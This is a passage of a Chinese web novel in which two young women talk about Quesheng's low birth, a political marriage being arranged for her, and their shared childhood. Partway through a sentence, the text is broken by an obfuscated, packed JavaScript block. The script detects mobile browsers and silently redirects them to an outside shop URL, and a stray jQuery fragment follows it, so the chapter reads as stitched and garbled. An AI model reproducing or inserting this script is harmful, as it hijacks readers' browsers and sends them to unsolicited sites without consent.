“我、我就是为你打抱不平嘛。”烟尾儿小声嘀咕。
“但他们说的也是事实,不是吗?”雀生淡淡道。
恐葬鱼腹,犹贪雀生。
雀生。
偷生。
赐国姓。
拓跋雀生,高贵的国姓,低贱的名字,真是讽刺。
“才不是呢!你的出身不是你的选择,但也不能成为别人攻讦你的靶子!雀生,在我的眼里,在我的心里,你就是十二部,你就是我们花戎的上将军,你衬得起也配得上!你那个狗爹你趁早就忘了吧,等烟牧之回来,我就把他让给你,给你当爹!他可是实打实的女儿奴,会对你好的。”烟尾儿拍拍胸脯,好像这是什么能一锤定音的买卖。
“上将军要是回来,知道你平白无故给他认了一个便宜女儿,少不了给你一顿暴揍。不过,还是谢谢你,烟尾。”雀生由衷地说。
“少来啊,咱俩谁跟谁。不过……”烟尾儿顿了顿,“既然你告诉了我一个秘密,那公平起见,我也告诉你一个秘密好了。我憋了好些天,我告诉你,你得保证你就当什么都不知道啊,不然烟泽布可饶不了我。”
“嗯?”
“嗯什么,你得保证!”
“那我不听了。”
“嘿,你不听,我偏要说!我那天在军帐外偷听到的,烟牧之开拔前。烟泽布说,要是这次凯旋归来,想央我老爹上门跟平凉王殿下提亲呢,他想把你娶回家给我当嫂嫂。诶?不过这样说来,我好像不用把烟牧之让给你,也能当你爹了!你看,我们兄妹俩都那么喜欢你,烟牧之也不知道是哪里修来的福分,横竖反正都等着给你当爹!”烟尾儿为自己想到的逻辑闭环而感到分外开心。
“哈?”雀生一脸状况外的样子。
“你这是什么表情,怎么?不想跟我成为一家人吗?”烟尾儿问。
“这是两码事,我跟你一样,把泽布当哥哥,只是你是亲的,我是干的。”雀生解释。
“那有人得伤心咯。”烟尾儿幸灾乐祸道。
“哈?阿泽哥哥真的喜欢我吗?你莫不是在诓我?”雀生还是一副难以置信的模样。
“你……我……他……哎呀,你们这个事我不掺和啊,等他回来再说吧。但是雀生,我是说如果,如果有机会,你能不能给烟泽布一个机会,给自己一个机会?万一呢,万一你们就是天赐良缘呢?”烟尾儿语重心长地狡辩。
“三月了,战事也快到尾声了。”雀生岔开了话头。
“嗯,虽然两国开战以来一直捷报频传,但是我最近老是心神不宁,左右眼皮一直跳,我总有一种不好的预感,雀生,我害怕——”
“别怕,不会有事的,牧之叔和阿泽哥哥不会有事的。”
其实雀生也觉得事有蹊跷,但是她只能先稳住烟尾儿,这是她作为朋友应该做、也必须做的事情。
烟牧之、烟泽布父子虽然骁勇善战、以一当百,但是这次对抗的是谢同尘和谢起云,大昭国还从未吃过败仗的两位少年将军。以雀生对谢家兄弟的了解,烟家胜得未免太轻易了,一切都太顺了,而太顺利的事情,肯定有问题。
花戎和大昭有将近十年没开战了,没想到王妃的一生,只值十年。
一个女人的一辈子。
只值十年。
想太多也没用,她确实就像之前市井小民口中所说的那样,她确实没有资格参加国战,这么多年,无论她怎么努力,武艺如何出众,谋略如何卓绝,御下如何有方——都只能在部落之间的泥潭里摸爬打滚、小打小闹。帝王多疑,圣心难测,拓跋胤怎么可能放心,把兵权交到一个叛国俘虏之女的手中?
郡主?不过是照猫画虎的老伎俩罢了。
难道她这个还没来得及受封的便宜准郡主,也要走上王妃的老路?
不。
她拒绝做王权倾轧下的牺牲品,有一个沈颜笙就够了。
“不对,你是不是听到了什么风声?”雀生心下百转,这才回过味来,她跟烟家走得近,外面说她是烟家半个女儿都不为过,为何烟尾儿如此迫切地想要她嫁进烟家?平白多费口舌为烟泽布牵线搭桥、拉媒保纤是为哪般?这不是她的作风。
“雀生,你这个话题转得也太硬了,就算是安慰我也不用这样。”烟尾儿又恢复了她那副吊儿郎当的样子,都开始噎人了。
“烟尾,我没跟你开玩笑。”雀生的瞳孔微缩,眸色稍暗。
“啊,好啦,好啦,我是听到了点小道消息,但也可能是没影的事儿,你也知道人多口杂,道听途说的东西未必做得了真——”
“但说无妨。”雀生打断了烟尾儿的东拉西扯,无关痛痒又毫无价值的铺垫,她不需要。
“听说这次子鼠部、卯兔部受降之后,巳蛇部有意归顺大君,他们的首领素木普日指名道姓提出想要求娶你……作首领夫人。现下还不知道君上的意思,这件事也得问过平凉王殿下是不是?并非没有转圜的余地……”烟尾儿说得很慢,好像语气稍缓些,她就能搜刮到更好的措辞,让整件事情听起来,显得没有那么难以接受。
雀生愤然接言:“还不知道君上的意思?哼,君上的意思不是很明显了吗?合着郡主之封,国姓之赏,并不是看在我的功劳,而是给巳蛇部,给他素木普日的体面和嫁妆!能用一个女人兵不血刃收服一个部族,简直就是一本万利纯赚的买卖!犹豫一秒都是对大业的不尊重,何况还是一个只有半个花戎血统的下贱坯子!”
烟尾儿拧眉,心疼又无奈地反驳:“雀生,你不要这么说——”
雀生垂眸:“你也知道,君上决定好的事情,殿下的想法就没有那么重要了。原来等着我回去的,是天罗地网。好大的一盘棋,我为拓跋皇室出生入死,没想到啊没想到,终究都是给别人做嫁衣。谁会关心一枚棋子,有没有感受?”
“雀生,你要不嫁给烟泽布吧,我哥这个人虽然话少,也不太懂讨女孩子欢心,但是!但是!但是他长得帅啊,热血纯粹,杀伐果断,有勇有谋,最最最重要的是,他还喜欢你。你看啊,他、我、我老爹、我叔父,我们全家都很喜欢你。我们烟家是将门世家,一定能护得住你,我相信烟泽布,他也一定护得住你。”烟尾儿字字铿锵,发自肺腑。
“烟尾,阿泽哥哥,知道你在背后这么编排他吗?”雀生听着,感觉挺难为烟尾儿。
“害,你休想转移话题啊,我是认真的。”烟尾儿严肃道。
“烟尾,我也是认真的,谢谢你这么为我着想。就算是泼你冷水,我也不得不说一句实话,你和阿泽哥哥的婚事根本不可能自己做主。烟家是将门世家,你爹是上将军,叔父是将军,哥哥是副将,手握三部兵马,对于拓跋皇室,乃至整个花戎来说,权柄在握,兵权甚重。”
“你们兄妹两个人的婚事
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17743306|209148||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
关系到王庭的政治走向,无论哪个选择都意味着站队和权力倾向。就算我想嫁给阿泽哥哥,就算上将军同意,就算平凉王殿下首肯,君上那里也是过不去的。政治联姻里,个人的意愿并不重要,我们都知道,不是吗?”雀生分析道。
“可是、可是……”
“没有可是。这件事我知道了,我再想想。”
“好吧。”
“烟尾,还记得我们是怎么认识的吗?”雀生突然有点怀念,岔开了话头。
“当然记得!怎么会不记得!那时候我们都十一二岁的样子吧,那天我跟烟泽布去马场,烟牧之说马场下了两匹好看的小马驹,等养大一点就给我们当坐骑。我两一起去看小马驹来着,然后在马场外看到你被申猴部的几个小屁孩围着欺负,还被糊了一脸的泥,但是你没有哭,从眼神到表情都倔强得很。”
“我跟烟泽布看不过去,就四手加上四脚,帮你教训了一通那几个小屁孩,后来这个事情被烟牧之知道了,我们当晚都没饭吃了。但是从此之后多了一个朋友,少吃一顿也是无妨的。”烟尾儿神采飞扬地说起来。
“哦?只是少吃一顿饭吗?我怎么记得,有人上树掏鸟蛋摔碎了君后御赐的玉佩,也被上将军一顿好罚,我还偷偷给你带了王妃做的枣泥山药糕。还有一回,有人趁着先生打瞌睡的时候,不仅把先生的胡子给烧了,还在先生脸上画了个大王八,东窗事发的时候,是谁被禁足七天,被罚抄了整整一百遍的《学记》,我给你贡献了半壁江山!!!在连累人这件事上,你倒是无师自通。”
“再有一回,有人意气用事非要跟人动武,为了抢一只野兔,野兔没抢到不说,还被人打得鼻青脸肿,上将军说你皮痒,还把烟家的脸都丢在了地上,得好好板板你身上的臭毛病,你跪祠堂的时候,我可是帮你把野兔抢了回来!你当时激动的呀,好像又能上房揭瓦了,我都有点怀疑我做得对不对……”雀生细数这桩桩件件的时候,嘴角不自觉弯了起来。
“那是谁学骑马的时候摔断了腿,我瞒着烟牧之偷了他营里的金疮药,都给了谁啊这是,好了伤疤忘了疼。还有一回,是谁偷喝松醪,打翻了烛台,要不是我碰到了,差点烧了军帐!哎呀呀,都不敢想平凉王殿下知道了,有没有你的好果子吃。再有一回,是谁赛马大会的时候,被人使了绊子,为了赢,中了暗器还一声不吭,一直拖到发起烧来,我跑了十几里的路,卖了烟牧之的老脸,才找来了丑牛部的大巫医把你的小命捡了回来,你还给我贫。”烟尾儿叉腰一顿输出,翻旧账是吧,谁怕谁啊。
烟尾儿垂眸,声音兀自低了半分,喃喃道:“可是后来王妃走了,你去了崔嵬营之后,一切就开始变了,你好像变成了一把开了刃的尖刀,锋利,冰冷,尖锐也刺眼,难以接近。刀锋所指,所向披靡,无人能出其右。不知道从什么时候起,我好像就慢慢退到了你的身后,从保护你,变成了被你保护。”
她抬眼看向雀生:“雀生,我有时候好羡慕你,你好像天生的天不怕地不怕,好像只要想做成一件事就一定能做成,你是十二部里,我见过最坚韧勇敢的女子,也是我最想活成的模样。”
“天色不早了,该下山了。”雀生不想聊这些,没有意义,因为她从来就没有得选。
烟尾儿没问她意见,自己先做了决定:“我陪你进宫吧。”
雀生也好说:“那秋露白我分你一半。”